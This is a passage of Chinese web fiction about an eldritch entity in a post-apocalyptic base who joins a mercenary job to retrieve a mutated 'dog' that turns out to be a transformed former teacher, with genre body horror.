“她现在全身异化,和大脑变异好像没什么关系。”朱肆蹲下身,隔着手套触碰粘稠的影子,“这是被祂的污染覆盖,在向祂转化。”
朱肆轻柔地拍了拍浓稠的黑色:“郁七?听得到吗?”
她的指头被液体化的黑色裹住,其下传来微弱的女声:“测试员……有问题……走……”
*
金色的晨曦洒落阳台,柯雾从床上起身,神清气爽地伸了个懒腰,慢悠悠地打开通讯器。
然后被交易板块99+的消息砸蒙了。
委托发布者回复了她的私聊:【还可以,今天出发,城门会合】
就这一条刷了99+,看得出对方很急。
柯雾思索片刻:【你好,请问是去13区吗】
对方顶着“浮云”的id秒回:【不是】
【不在那里】
看到不去禁.区,柯雾来了精神:【那是去哪呢?】
浮云:【赖城】
柯雾认得这个地方,是当初小队带她去的那座城市,位于较为安全的外围荒原,还是基地外派的驻扎点之一。作为第一次外出委托的地点,可以说是非常安全了。
浮云停了一会,见她没有回复,又道:【不骗人】
柯雾:【是帮忙找回走失的狗狗吗?】她尽可能温和地措辞,从浮云发布的文字来看,很可能因为丢失爱犬,她(他?)的精神状态岌岌可危,她无意刺.激失主,只是想弄清到底需要做什么。
浮云隔了一会儿才回:【是】
对方找的应该不是普通的狗,普通的狗难以在荒原上生存。事情进展的太快,柯雾有些不安,没有直接答应,再三斟酌后问道:【可以拉人加入吗】
浮云:【随便】
【我只有3000,拉人你们自己分】
柯雾把委托链接转给温九,问她们要不要一起。之前她就了解到佣兵小队经常蹲点抢委托,事少钱多的委托总是手慢无,这一次估计是因为发布者看着不太正常,挂了半天都没人接,如果小队不介意冒这个风险,一起赚钱也挺好的。
温九也是秒回:【您要接委托???】
柯雾:【有点想,你觉得怎么样?】
温九:【稍等,我看看】
柯雾一边等待一边琢磨。她毕竟初来乍到,小队不去的话,她没有独自进行委托的经验,不能贸然答应,到时找个理由推了,事后再多接几份简单的委托好了。
打定主意,柯雾在供给板块下单了一份物资包。物资包是外出委托必备,只要500点,装备应有尽有,物廉价美童叟无欺。
五分钟后,温九回复:【私人发布者不比官方,评级是系统抓取关键词自动匹配的,实际上很可能不止F级】
柯雾一看,就知道基本没戏了。
她刚要回复,对面却发来一串乱码:【%&*~%@》+】
柯雾:【?】
温九即刻撤回,【抱歉,刚刚有人发来通讯请求,误触了】
【风险越大收益越大,我们这边愿意加入】
*
得知郁七需要进行认知测试,小队内部争论了一番,最后决定队长、秋十和王二留下等待结果,周一和张三
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带着装载数据的探测器回内城区配合研究院解析。
医务中心人满为患,分不出多余的房间,她们返回面包车,刚躺下就收到异种来犯,紧急撤离的通知,面包车刚开入地下避难所,警报又突然地解除了。
七基什么时候这么有实力了?人们一头雾水议论纷纷,有说研究院推出了新型武器的,有说军队有强力异能者加入的。队员们默默听着,不吭一声:异种杀了异种,然后基地现在还藏着一只神级异种。比起相信事实,还是相信七基的综合实力突然提高吧。
收到祂的讯息时,温九还以为自己彻夜未眠看晃眼了。
指挥中心叮嘱过她们,祂尤其信任小队,若有什么动向要及时上报。队长照做了,怕祂久等,在上面的指示还没下达前便如实告知委托的分级,有那么一瞬间,她真把祂当做基地的新人,试图阻止什么都不懂的后辈作死。
但很快,指挥中心要她答应下来。她们正焦头烂额,苦恼如何将祂的存在公之于众,如何满足祂的种种需求,例如如何在保证居民不被污染的情况下让一个神级异种进入内城区。这会祂主动提出出城,简直是久旱逢甘霖,至于危不危险,笑话,谁能威胁到祂?
温九:……有没有可能,发布者的命也是命。
无奈归无奈,小队还是又一次接下了艰巨的任务。三人猜拳,赢了的秋十同祂前去,温九和王二留在原地,以备在最差的情况下作为唤醒郁七的锚点或者……签署“清理”同意书的家属。
*
秋十来到祂的居所,做足心里建设,摁响了门铃。
铃声刚落,铁门霍然洞开,舞动的触.手一涌而出,没等秋十反应便缠上她的腰,将她抓入房间。
秋十的声线不自觉变尖:“您……您怎么了……?”
撒落一地的色彩昭示不寻常之事发生,祂的本体此刻如同吸附在吸管顶端的泡泡,下半部分艰难地套在一个……一身防护服里???
祂表面的漩涡疯狂旋转,秋十几欲呕吐,触.手及时托住她的身体,捂上她的双眼,她再一次接收那杂音般的频率,像古旧的收音机逐渐清晰,祂低沉道:
【帮我……】
*
柯雾颇费一番周折才穿上防护服。
防护服包含在物资包里,柯雾第一次购买没有经验,标准尺码的防护服对她而言过小了。秋十的敲门声刚落就被她拉进来。
“帮帮我。”
雇佣兵力大无穷,秋十闭着眼拔出了卡在防护服中间奋力蛄蛹的柯雾……的防护服。
柯雾知道她现在的状态确实没眼看,羞愧难当地穿好衣服,本来都想放弃穿戴了,但秋十在防护服上摸索了几下,防护服便膨胀起来,最后撑到一个不可思议的尺度。
“应该可以了。”秋十解释道:“防护服是用可变形材料制作的,初始尺码一致,拿到手后要按照自己的身材调试。”
“您……”她眼神飘忽道:“试试?”
14. 于无声处
“只有你来吗?”柯雾套好防护服,企图转移话题。
“是,其她人不太方便。”秋十回过神,拍了拍背后小山般拱起的背包。“别担心,我也是老手了,该带的都带了,还是您一定要大家一起?我可以现在通知她们——”
“别别。”柯雾松了松领口,那股窒息般的憋闷散去些许。“不方便就算了,我们走。”
有人愿意一起就好,她不贪心。
或许是因为清晨,天不过蒙蒙亮,会合的城门处只寥寥数人,以至于那位高大的女性尤其醒目。她没有穿防护服,线条流畅的冷硬面庞犹如蜡像,半边机械化的身体在朝阳下闪闪发光。
见她们走近,那双无机质的眼睛缓缓聚焦。
“浮云?”柯雾友好地伸出手。
“……”她面无表情地握住柯雾,虚虚地摇了摇,以迅雷不及掩耳的速度放开了。
眼光扫过一旁冷汗直冒的秋十,她转过身:“上车。”
浮云的车比倾小队之资购买的小面包宽敞许多,穿着防护服柯雾刚踩上踏板,驾驶座上的车主就说:“来前面。”
浮云顿了顿道:“前面宽。”
真是个面冷心热的人,柯雾收回脚,不再尝试挤牙膏式上车。
浮云寡言少语,闷头开车,柯雾坐得无聊,用手环和秋十聊了起来。
来的路上她向秋十解释了此番的目的地,顺便问了一嘴基地的周年活动怎么不见在真正的基地办。
秋十:“什么庆——请移步内城,我是说,外城戒严,一般不怎么搞活动,基地居民.主要在内城区生活。”
原来如此。
她本来和秋十不是很熟,毕竟一辆小面包里时大家都对她避之不及,她也不好意思没脸没皮地凑上前,只是跟着温九。秋十这会倒是不排斥她了,有问必答,还经常附带许多犀利的吐槽,柯雾还蛮喜欢这种心直口快的人,这让她这个社恐只要时不时发出“嗯”、“对”的附和就能将话题推动下去。
想起秋十看到浮云时奇怪的反应,柯雾打字道:【你认识老板吗?】
秋十:【认识,她在基地风评很差】
柯雾:【?】
聊天框显示对方输入中,秋十删删减减,最终甩来一个链接。
#和阴暗姐组队那些年#
柯雾偏了偏身子,其实没有必要,浮云一双死鱼眼只盯着起伏的沙地,她怕是在座位打滚都不会引起对方一个眼神。
柯雾点开链接,发现这个帖子位于所谓的“情感区”,从标题上也看得出像什么吐槽帖。
【标题:和阴暗姐组队那些年】
【内容:相信大家都遇到过奇葩的队友,楼主没有加入固定的佣兵小队,常年是随机匹配的队友,抢到什么组队任务就跟同样接了任务的队伍组,形形色.色什么样的队友都遇到过,但这姐的奇行程度还是超出楼主的承受程度了。
阴暗姐人如其名,以一己之力孤立所有人。明明是一个团队出任务,功劳是要抢的,自己的破烂设备报废是要怀疑我们的,遇到异种撤退时是不听指挥硬要强上的。】
柯雾没看跟帖,对秋十道:【帖子里的事都是真的吗?】
秋十:【我没和她接触过,这些都是人云亦云,只能说风评确实差,我们接触着看吧,别太担心】
柯雾:【不,我是想说,这看着她挺厉害的】
这帖子翻译一下不就是浮云一个人就能完成队里绝大多数任务,对上异种也有实力对抗而不是落荒而逃吗?
秋十:【……她委托完成的好评率确实挺高的】
柯雾:【那就够了】
她翻了翻情感区的帖子,如果说交易板块是留言区比较像论坛,这个位于娱乐板块的情感区就完全是论坛了。看大家各色离谱的id,应该是匿名论坛。浮云似乎很有名,这个吐槽帖有上百回帖,柯雾粗粗浏览,十有八.九是恶评,剩下那一二也是偏中立,只说浮云作为雇佣兵还算负责,作为同事就不知道了。
怕看多了先入为主,柯雾不再关心老板,转而和秋十闲聊。
柯雾:【说起来我一直想问,为什么你们的名字都有数字啊?】
秋十:【我们的初始名字都是随机姓氏加出生编号,要花10000交易点才可以改名,有些人用久了叫惯了就懒得换了】
【至于为什么要10000点,基地没钱,找个由头往我们口袋掏钱罢了】
竟然是这样……随机姓氏?柯雾心头一跳,试探地问道:【你们的父母没有权利给你们起名吗?】
【父母?】那头愣了很久,【如果你说的是生理意义上的基因供给者,基地那些管理层应该都算吧】
【七基成立时不足一百人,管理层提供基因,靠着育英院的人造子.宫批量生产婴儿才逐步发展到今天的规模】
人造,婴儿。这两个词的组合让柯雾瑟缩了一下,胃部隐隐翻涌。
秋十:【基地的人口损耗率很高,不这么做大家都活不下去,况且人造子.宫解放了女性战斗力,就无所谓论理不论理的了】
【打错了,是伦理。就学发展史的时候导师提过一嘴,我不怎么听课,一下记错了】
【大家都不在意这个,怎么了吗?】
倒是她反应过度了。柯雾吐.出一口浊气,压下胸腔的震颤,一个字一个字打道:【没什么】
*
朱肆拔枪射穿了高悬天花板的喇叭。
喇叭闪现噼里啪啦的电火花,朱肆想起什么,表情难看地打开通讯器,直接一个通讯请求过去,值班的医务员很快接通,语气慌乱道:“总指挥!”
“负责郁七的测试员被发现昏迷在厕所隔间,据他所说,他、他还没有宣布开始就失去了意识……测试郁七的人不是他!”
“那是谁?”朱肆抬起头,和散发糊臭味的喇叭对视,冷冷道:“鬼吗?”
“不、不清楚,观察室的监控全部损坏,检测仪显示那附近的污染超标,您
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看是派专业的人去看下还是……”
听到这踢皮球的话,朱肆眉头直跳,几乎要按捺不住自己的暴脾气,虞零适时出声:“你先出来,这房间有古怪。”
朱肆挂断通讯,捞起郁七。一弯流淌的黑水入怀,她忍住刺骨的寒冷,郁七却不能忍,蹭地一下滑落在地,怯怯地道:“好冷……”
朱肆:“……”
黑水蜿蜒升起,又徐徐退去,露出内里的小姑娘,朱肆这才发现,郁七没有第一时间出声不是因为受伤虚弱或是异化程度太高失去了声带,而是单纯地,冷着了。
属于祂的阴影钻回角落,消失无踪。
对于这超出她理解能力的一幕,朱肆瞳孔骤缩,虞零的声音像幽灵飘浮:“祂保护了她。”
“某个人通过测试房间伤害你时,祂的一部分保护了你,对吗?”虞零控制着朱肆的身体抱起郁七,循循善诱道。
祂的领域横跨整个外城区,包括朱肆在内的大多数人常常忽略这一点。
第七基地建立在荒芜的原野上,举目黄沙漫天。基地上方的天空总是蒙上一层黄.色,像盖着一条沙色头纱,祂的领域覆上沙色,染黄为黑,一样的黯淡无光。加之基地人常年待在室内,钢铁森林遮天蔽日,她们早已不再仰望天空,对祂的降临反而没什么实感。
那些阴影自由游走于领域之中,理论上无处不在;理论上,祂无孔不入。
朱肆打了个冷颤,听到虞零借自己的舌头说:“那个人到我们进来前都还在通过广播发布指令?你感到异常,想办法打开了门?”
郁七吃力地点头,又摇头,小声道:“不像……伤害……”
她目露茫然,磕磕绊绊道:“像……试探……?”
“我现在……不止恶意……可以分辨更多情绪……”
什么东西?
郁七语不成句,朱肆听得费劲。虞零使用异能的时间太长,有些支撑不住了,在彻底抽离前,她对朱肆道:“带她来见我。”
朱肆环视一圈狭小的房间,确认祂的阴影不再渗出后带上房门,抱着郁七快步离开。
*
浮云的余光是起伏的虹色。
她明白,自己的症状更严重了。从前只是把一个人看成两个人,如今到把一个人看成一团色彩的地步了。为了躲避检测,她每次发布委托都约在城门会合,那些接下委托的人以为她刚从基地外回来,不会过多怀疑。但即使没有经过检测,她的身体状况也到无法掩耳盗铃的地步了。
不久前那一幕在脑海挥之不去,耳边传来的是“浮云?”,眼前伸来的是蠕动的触.手。
数条交缠的触.手扭作一团,顶端开花般分岔成五瓣,缠上她的手指,贴合她的皮肉摩挲。
改造后的躯体不似常人那么敏感,但那种阴冷的触感还是让她一阵恶寒。
不止是视觉,已经延伸到触觉了吗?浮云攥紧方向盘。
她没有多少时间了,必须在那之前找到它……
15. 白云苍狗
赖城近在眼前,那断壁残垣闯入眼帘,车子突然停下,轮胎发出尖锐的嗡鸣。祂不明所以地看向浮云。
浮云呼吸急促,胸脯起伏不定,眼睛死死地盯着那片废墟。
“狗在这里?”秋十不知道发生了什么,从后座探出脑袋。
“没了……”浮云低声道,方向盘一转,沿着赖城所剩无多的街道开去。
秋十忍不住对浮云道:“快撞墙上了,你悠着点啊。”
是个人都能看出她的心不在焉。高大的女子抿着唇,向来毫无波动的脸上流露一丝焦躁。她低声重复:“没了……”
【那里】祂突然打断,抬起触.手,敲了敲窗。【有东西】
漆黑的触.手指向一片开阔的废墟,那里从前是一个公园,还留有断成两半的石刻,隐约能辨出“民公园”的字样。
浮云猛打方向盘,车子180度大转弯,秋十向前探的身子不稳,一下撞到祂的座位后背。
她还没道歉,祂的关怀便随触.手而至,【没事吧?】
“啪”,触.手贴上秋十额头,秋十被冰得一个哆嗦,立马清醒过来:“没事!!”
【那就好】祂轻飘飘道,喜悦的情绪冲刷秋十的大脑,好像一万束烟花在天上飞,【看,我们找到了】
秋十后仰,避开了祂的厚爱,顺着那个方向看去,登时目眦欲裂。
一条老狗前爪搭在石刻上,气喘吁吁。它衰老的身躯瘦骨嶙峋,肚皮却高高隆起,撑得浑.圆。数颗或大或小、形状不一的乳.头深陷肚腹攒动。秋十第一次如此憎恨自己5.0的视力。
要是只有这些倒还勉强能够忍受,关键是它毛发茂密,青丝如瀑,飞流直下三千尺,埋没了那张雪白的脸,只露出一个消瘦的下颌。见车辆停下,那嫣红的嘴唇微弯,发出近似人话的气音,细听之下勉强可以辨出是:“云……”
女人的头颅和老狗的身体粗暴地拼接在一起,一条顶着人头的老狗,此刻颇为高兴地朝她们哈气。
异种啊!!秋十猛地起身,朝祂的方向靠去。
*
值守隔离室的医务人员碍于总指挥的面子,没有指出这不合程序,只是象征性地递来检测仪。朱肆应付地扫了扫郁七,仪器居然没反应——说明躁动的污染分子不再活跃,得到了控制。
与之对应的是恢复过来的郁七,她颤声道谢,从朱肆怀中起身,在守门人好奇的目光中同手同脚地迈入隔离室。
导师和学生在玻璃的两端相对而坐,绿眸和黑眸此时闪烁着同样的色彩。
朱肆耐着性子等了一会儿,师生二人入定般一动不动。精神系的交流方式她读不懂,刚要张口,两道重叠的声音同一时间传入脑海:“不要说话。”
郁七比较礼貌,多了个“请”字。
朱肆有点麻木了,板着脸在脑海中道:“有窃.听?”
下一句话让她当场凝固:“那个人可能还没离开。”
郁七有些犹豫地看向虞零,虞零朝她点点头:“多用才能彻底掌握。”
朱肆捋清思路,对郁七道:“你晋级了?可以主动使用能力了?”
郁七颔首:“总、总指挥,我还不熟练,请、请多多担待。”
朱肆:“?”
下一秒,一副高速流转的星空图在朱肆脑海闪现,没两下又消失,而后再度出现,消失。
“放、放错了。”郁七传入她脑海的声音弱弱:“这是祂。是、是不是很好看?”
“没事,好看,慢慢来。”虞零温声道。
朱肆任由师生二人把她的脑子当做教学工具,终于在虞零的指引下,郁七成功“投影”出一副画面。
向下的视线,四面雪白的围墙,刺耳的广播声。
这是郁七的记忆。
*
没想到这么快就找到了。小狗还怪可怜的,身上的毛发都脏得看不出颜色了,一绺一绺地混在一起,不过看得出养得很好,油光水滑的。
柯雾兴奋地转过头,却发现浮云正以一种恐怖的眼神直勾勾地看着她。
她不明觉厉,回以一个友善的笑容。
就见那凌厉的眼神剧烈颤动,而后一点点软下,化为一片空茫。
浮云低垂着眉眼,喃喃:“它饿了……要喂……”
柯雾劝道:“先把它接上车吧,要帮忙吗?”
秋十的手从后面伸来,一把抓住浮云,青筋贲张,肌肉紧绷。“喂。”
“你雇人真的是为了找狗吗?”
“还是,”她咬牙切齿:“为了投喂‘狗’?”
*
“测试,听得到吗?”失真的女声经由喇叭扩出,尾调上扬,透着一点漫不经心。
郁七应声,她捕捉到某种奇异的波动,为此战栗不已。
“唔,郁七,可以叫你小七吗?”
郁七含糊地答应了。
“好小七,祂的怀抱滋味如何?”
一个不伦不类的问题,不是引导,也不是提示,带着调笑的意味。郁七很是反感,下意识道:“祂很好。”
声音很轻,但足以传到对面。
“是吗。”女人意味不明地笑了一声。窸窸窣窣的动静传来,塑料袋被撕开,咔嚓咔嚓的声音经过话筒的放大响彻测试房间。
正全神贯注收听的朱肆:“……”这家伙还吃上了?
大概是意识到郁七还在听,女人把塑料袋拿远了些:“吃点零食。我好几天没吃饭了,再不吃东西会出事。”
她毫无征兆地跳到下一个话题:“话说,你觉得祂像人吗?”
郁七沉默了一会才开口:“抱歉,我拒绝回答。”
“对于祂的事,你意外地强硬呢,这也是污染的一部分吗。”明明是提问,语调却平铺直叙得像陈述。
郁七保持沉默。
“好吧,我没有恶意。”女人投降,“我只是想知道祂过得好不好。总觉得祂瘦了不少,怕是这些年吃不饱穿不暖。”
前面的话还能勉强和测试扯上关系,这句就是石破天惊、装都不装了。
郁七心中惊涛骇浪,面上却迟钝地不显,只凝声道:“你是谁?想做什么?”
“我?”女人敛了笑意,低柔地、庄重地道:“——我是祂最后的信徒。”
*
面对秋十的质问,浮云没有吭声,反手推开了车门,快步朝老“狗”走去。
秋十回忆了一遍生物课,没有找到任何对应的异种,虽然知道有祂在不会有任何危险,但那玩意儿真是看一眼就恶心,和浮云的帖子给人的观感一致。她一秒都不想多待,想跟祂提议返回基地,直接抢了浮云的车跑也行,反正是对方欺瞒在先。<
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但祂的目光一错不错地投向那相拥的一人一狗,或者说把狗紧紧揽入怀中的浮云。
紧接着,触.手推开车门,祂施施然下车,朝她们行去。
*
听到秋十的“投喂”,柯雾恍然大悟。她翻出背包里的罐头,放在难解难分的两个影子旁边。
铁皮磕地的声响犹如一记醒鼓,惊动了浮云。她似乎无法理解自己为何失态,松开狗子,想要同柯雾说些什么。
狗子却不依,咬住她的胳膊不放,瞬间刺出两个血洞。
血腥味四散开来,狗狗翘起尾巴,小巧的鼻翼翕合,尖锐的獠牙翻出,血红的牙床挂着血红的肉.丝。
气氛骤然变化。
浮云捂着伤口起身,阴沉的目光在柯雾和秋十之间梭巡。
柯雾仗着防护服厚人胆大,用脚将罐头推向小狗,顺手把浮云拉了过来。
小狗连余光都没给那个铁盒子,露出和主人如出一辙的恐怖眼神,朝她伸出没修剪过的狗爪。
若是柯雾身无长物,她会闪身躲开。然而防护服的存在实在令人安心,她伸手去捉小狗,颇有技巧地将它抱起。
狗子拼命挣.扎,可惜柯雾经验丰富,始终牢牢地将它按在怀中。
见狗狗不吃罐头,柯雾问浮云:“你有笼子之类的吗?它估计是饿太久了,现在只对鲜肉感兴趣,等回了基地再给它买?”
浮云出神地望着抱狗的她,片刻后,摇了摇头,“不回。”
她垂下眼帘,掏出一柄锋利的匕首:“我有肉。”
结合浮云危险的精神状态,柯雾脑中闪过浮云持刀扑向她们一万种可能的角度,但浮云没那么做,而是反手在两个血洞的基础上划开了自己的皮肉。
年轻的声音一如既往毫无波澜:“用我的就好。”
*
老狗那张樱桃小嘴咧成大裂谷,一排挂着碎肉的尖牙暴露在空气中。它兴奋地喘息着,口水吞咽声清晰可见,对准紧抱它的浮云,狠狠咬下。
老狗不是看到主人来很兴奋,是见到食物送货上门很兴奋。意识到这一点,秋十心情复杂。她虽然不怎么喜欢浮云,但也做不到眼睁睁看着对方送死。
幸好祂及时出手了。字面意思上的出手。
触.手直立而起,其上荆棘般的倒刺张开,深深刺入老狗的毛发,犹如展开颈部的眼镜蛇咬住猎物的喉头。
老狗在祂的挟制下动弹不得,低吼了两声,又在祂温和的注视下夹起尾巴,呜咽不已。
另一条触.手探进背囊,精准地卷出一个罐头。
祂动作轻柔却不可抗拒,那触-手顶端滴下一点粘液,老狗下意识吞咽后脸色大变,想吐-出口,却被同罐头肉一齐推入大张的血口。
老狗用力甩头,终于成功在肉块滑下食道前将其甩出,动作间青丝起落,那张五官标致的芙蓉面从呆滞到微微动容,似痛苦似欢愉。
祂的叹息彷佛从远处传来,触.手拨开层叠的黑发,使那张脸重见天日。
老狗在强烈的日光下半阖凤眸,她的眸子清且浅,没有焦点地骨碌转动,一会朝着祂,一会转向浮云。“云……?”完美的发音,带有某种韵律的咬字。
她如大梦初醒,缓缓低下头。
那清澈的眼里,分外清晰地映着自己臃肿丑陋的身躯。
16. 假作真时
五年前。外围荒原。
鬣狗的尸体七倒八歪。
“导师!”学生们的哭喊从不远处传来,苍灵抹掉脸上的血,抬手射击。
“咚”高速转动的子弹撞上一堵铜墙铁壁,无力地落地。一条老态龙钟的狗从暗处迈出。
苍灵扭过头,瞳孔微缩,这只鬣狗的体型是方才那几只的两倍,说是一堵墙立在那也不为过。且它异常肥大的肚子不住胎动,看似柔软却能拦下金属子弹。繁殖期的异种攻击性最强,她奔向六神无主的学生。“退后!
老狗拨拉着黄土地,利爪反射寒光。它仰头长嚎,身后那丛不久前长出的树丛窸动。数只稍小一些的鬣狗在它的号令下跃出,布满血丝的双眼对准守在最前方的苍灵,很快,第一只鬣狗扑向那高举的枪口。
“咚!”“咚!”“咚!”
苍灵瞳孔骤缩,子弹没用!
她侧身闪过来势汹汹的鬣狗,顺手换走凑上前企图帮忙的学生的匕首,对准鬣狗毛皮稀少的脖颈狠狠刺下。
鬣狗吃痛,奋力甩头,苍灵趁机后撤。她把学生们推出鬣狗的包围圈,自己挡在虎视眈眈的鬣狗群前:“快跑!”
禁.区不会无限扩张,她们本就位于禁.区边缘处,只要跑出去,就有生还的机会。
学生们想拉上导师一起,但苍灵在防护服破损处刮了一道口,往相反方向挪去。鲜血洒落,鬣狗们嗅到食物的馨香,纷纷朝她进攻。
苍灵将它们引向13区。
13区别名死亡森林,区如其名,无数高危异种盘踞其中,死亡率极高。她们本来在外围荒原考察,突然荒原上穴居的异种倾巢而出,连不起眼的杂草都开始拔根狂奔。
学生们一开始还蛮高兴,送上门的异常现象,考察报告有着落了。
但很快,她们便知道发生了什么。
窸窸窣窣,窸窸窣窣,窸窸窣窣。一株又一株青翠欲滴的野草破土而出,幽绿的青苔蔓延而至,高耸入云的林木迁徙而来。
一刻钟前远在天际线的13区,生长至她们的面前。
她们一下身处禁.区边缘,常年游荡在禁.区边缘捡漏的鬣狗也随之冒出。她们被迫与之战斗,苍灵一对多,防护服不慎破损,自知污染指数飙升,颇有些破罐子破摔的意思,死前也要拉它们垫背。
领头的老狗察觉她的意图,在她即将踏入幽微树丛的前一刻袭来。
苍灵携带的佩枪已经尽数交给了学生,如今手上只有一把匕首。她与狗群缠斗数息,数条鬣狗被她重伤,她亦遍体鳞伤。狡猾的老狗一直观战,直到她拔出匕首都费力,才獠牙尽显地将她扑倒。
在被吞噬的前一刻,苍灵打开了防护服的充气模式。
老狗咬上一颗膨胀的石子,还没来得及为嗑碎的后槽牙恼怒,石子就主动滑入它柔软的食道,细微的刺痛升起,匕首鱼刺般插.进脆弱的食管。
包裹着苍灵的血肉震荡,老狗试图把她甩出去,但她死死地攀住抖动的肉.壁,匕首不断深.入。
这场拉锯战漫长难捱,老狗的体内十分憋闷,所幸她的下半身浸在食道分泌腐蚀性粘液中,每时每刻有如烈火灼烧,使她清醒。
时间一点一滴流逝,老狗在某个时刻蓦地僵住。苍灵没有错过机会,对准老狗松垮的皮肉,狠狠刺下。匕首刺穿了皮毛。新鲜空气涌入,苍灵精神一振。
那道巴掌大的口子被缓过来的她扩大到一整个脖颈,她从进气少出气多的鬣狗体内探出头。
刚死亡的尸体散发着浓郁的血腥气,她的鼻头翕动,口水分泌。
苍灵愣在原地很久,最终颤颤地从包里扒出便携检测仪。
看着即将突破界限的污染指数,她不由苦笑。
强烈的饥饿感席卷而来,她直勾勾地盯着身下肥美的尸体,舔了舔新长出的尖牙。
“别吃。”
空灵的、轻柔的声音拂过她的耳畔。
苍灵一个哆嗦,清醒过来,僵硬地转头。
昏暗的天幕下,一个黑发蓝眼的女子跨过满地狼藉,轻盈而至。
她递来一杯水,温柔地劝诱:“这是抑制剂,可以延缓污染的速度。”
苍灵缓慢地眨眼,闭眼,女子的身形融化成一滩五彩的液体,伸出的手臂化作扭曲的触.手;睁眼,女子安抚地冲她微笑,杯水在微风中漾开细微的波纹。
她不断退化的思维能力不足以使她理解这一幕,连污染的概念都快要消失,只是顺从厮杀过后的渴欲,抢过水杯一饮而尽。
“咳、咳咳”喝得太急,她呛了几声。女子伸手在她后背轻拍。
她模模糊糊地想,都有手,应该是人吧?
然后就看到面前的女子像被淋湿的油画那般融化,坍缩成一个彩色漩涡。
苍灵:“……”幻觉、一定是污染导致的幻觉。
“清醒过来了吗?”漩涡轻声道,漆黑的触.手从苍灵口中收回。
“……”她刚刚喝的是什么!
女子、漩涡在她眼中交相呈现,没有太多时间给苍灵思考,四周黑暗攒动,有什么东西呼之欲出。
女子微不可查地叹了口气,撑开一把黑伞,遮住苍灵的视线。
“还不是我苏醒的时候。”她喃喃低语,不知是说给苍灵,还是自己听。“但它们太吵了。”
她撩开阴影织就的裙摆,走入禁.区深处。
苍灵彻底支撑不住,昏厥过去。
等她再度醒来时,身下是泥泞的黄土地——她又回到了外围荒原。
不,应该说,禁.区不再扩张,甚至缩回了原本的区域。
此时荒原罕见地下起大雨,幸而有女子留下的黑伞,她分毫未湿。
苍灵伸手想抹一把脸,狗爪子拍到脸上。
她迟疑地低下头,生锈的脑筋转动,才想起在遇到女子之前,自己已经被污染,向污染源鬣狗转化。
那之后遇到的事不会是污染引起的认知错乱吧……苍灵呆呆地想。
她抱着伞柄在雨中发了很久的呆,才又一次扒拉出便携检测仪。
数值还是那个濒临突破的数值,但就在那了,一动不动。
她的学识告诉她这不正常,明明她没有接受净化,污染分子却不再紊乱。
难道……那个女子是前来救援的高级治疗师?
那个漩涡是她使用异能的异化症状?
可她走向了禁.区深处,治疗师不都是值守后方的吗?
苍灵百思不得其解,索性不再思考,她挣.扎着起身,不甚熟练地用四肢前行。
污染指数没有突破,只能说明她暂时没有失去理智。她的下半身融在了老狗的胃里,污染让她向异种转化,新生的躯体不断长出又融化,最终属于她的组织遍布老狗的胃袋。奇异的是,她还能感受到它们,就像隔着薄纸的两个磁铁,只要她想,她就能驱动它们,支撑着这幅臃肿的躯体站立。
她也不知道她变成了什么。
苍灵慢吞吞起身,朝第七基地的方向挪了几步,又回过神停下。
她这幅模样,还能回基地吗?
她迟疑地迈向一个小水洼,混浊的泥水映出一个分外可怖的身影。
她眨了眨眼,老狗身上的美人头也眨了眨眼。
“不要照镜子。”似真似幻的女声又一次在身后响起。
苍灵猛地回头,女子拧着滴水的长发,钻进黑伞底下。
“你刚吃抑制剂,还不稳定,不要照镜子。”她耐心地重复。
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离得那么近,苍灵却感受不到她的呼吸,只有一阵寒意扑面而来。
“你……你是谁?”她终于能够发声了,嗓音嘶哑粗粝。
女子无聊地卷着长发,闻言微微一笑:“是人。”
牛头不对马嘴的回答让苍灵的眼神更加茫然。
女子却不再解释,只是拿过黑伞,“这里离赖城不远,等雨停了,你就去那边吧。”
“我得睡觉啦,没人照顾你,我不放心。”她转动伞柄,雨水四溅,打飞雨中潜行的黑影。“抑制剂能让你保持一段时间的稳定,等到了赖城,再进行专门的治疗吧。”
“你身上有我的气息,它们不会攻击你的……至少这段时间不敢。”
“对了,帮我给研究所所长带个话,就说我只是睡着了,不是死了,别再用探测器天天叫我,吵得我头疼。”
女子絮絮叨叨,苍灵听得认真,听到研究所才发觉不对。
赖城早就荒废了,哪来的研究所?
可三言两语间,暴雨将歇,女子起身,撑着伞立于橙黄的夕阳下,边缘模糊。
“快回家吧,小狗。”
她捏了捏苍灵的脸,“等下次见面,我可能已经不记得你了,不过还是很高兴认识你。”
“我叫柯雾,南柯一梦的柯,雾里看花的雾。”
“你也要记得自己的名字,这样就不会迷失了。”
苍灵眼睁睁地看着她消失在荒野,像一个归于天地的鬼魂,又像一位路过人间的神明。
她趴在地上,想:可我还没有告诉你我的名字。
那之后她逐渐适应了新身体,以野狗的速度向赖城进发,如女子所言,她一路畅通无阻,但最终还是没能进城。
救援队在赖城建立了临时据点,但她们从一轮又一轮的异种袭击中突围,稍有动静就草木皆兵。
明明她口吐人言,能准确地报出自己姓名和职位,可禁.区异种的智能较高,被它们污染而堕-落的异种似乎都能做到。苍灵来得不巧,救援队刚受过伪装成人类的异种袭击,根本不让她靠近。
她只得徘徊在城外,替她们解决藏在暗处伺机偷袭的异种,顺便饱餐一顿。
她本想等风头过去再直接回基地,可等了又等,试了一次又一次,仍没有人愿意接纳她。
她伏在暗处,偷听出城的雇佣兵讨论禁.区的异变。听说她的学生们也在污染的边缘挣.扎,自顾不暇;听说基地为包括她在内的带队导师开了追悼会,授予了一级勋章;听说……
异种来袭,雇佣兵们停下话头,拿起武器。她也起身,抖抖皮毛,朝来犯的敌人扑去。
雇佣兵们看着缠斗的两只异种,一时间不知该把枪口对准哪个。
她一次又一次明里暗里的庇护换来了不再第一时间对准的枪口,但始终换不得基地的信任,或者说,她们不愿意承认这个形貌丑陋的怪物是基地的一份子。
她试过很多法子,想要把自己的半身拔.出来,可毕竟是第一次做异种,实在不太熟练,反而把这具身躯变得更糟糕了。
与此同时,随着不断吞噬异种,她明显地感到自己的大脑开始混沌,女子口中的“一段时间”怕是接近尾声,异种的本能逐渐占据上风。有几次她不过恍神,利爪便已伸向无知无觉的基地人。
她不再主动靠近,整日同荒原异种厮杀,将它们赶得远离第七基地后鸠占鹊巢,在离赖城一个不近不远的地下巢穴沉睡,间或苏醒外出捕猎。
本以为日子就这么浑浑噩噩地过下去,在快要失去意识的那天找个坑把自己埋起来,无污染无公害地消失,也算尽了为人的责任。就是有点遗憾,没能替她把话带到。
直到有一天,她捡到一个落单的小孩。
17. 昔我往矣
高大的女孩不过刚结业的年纪,按基地的标准已经成年,但在曾为导师的苍灵眼里还是孩子。
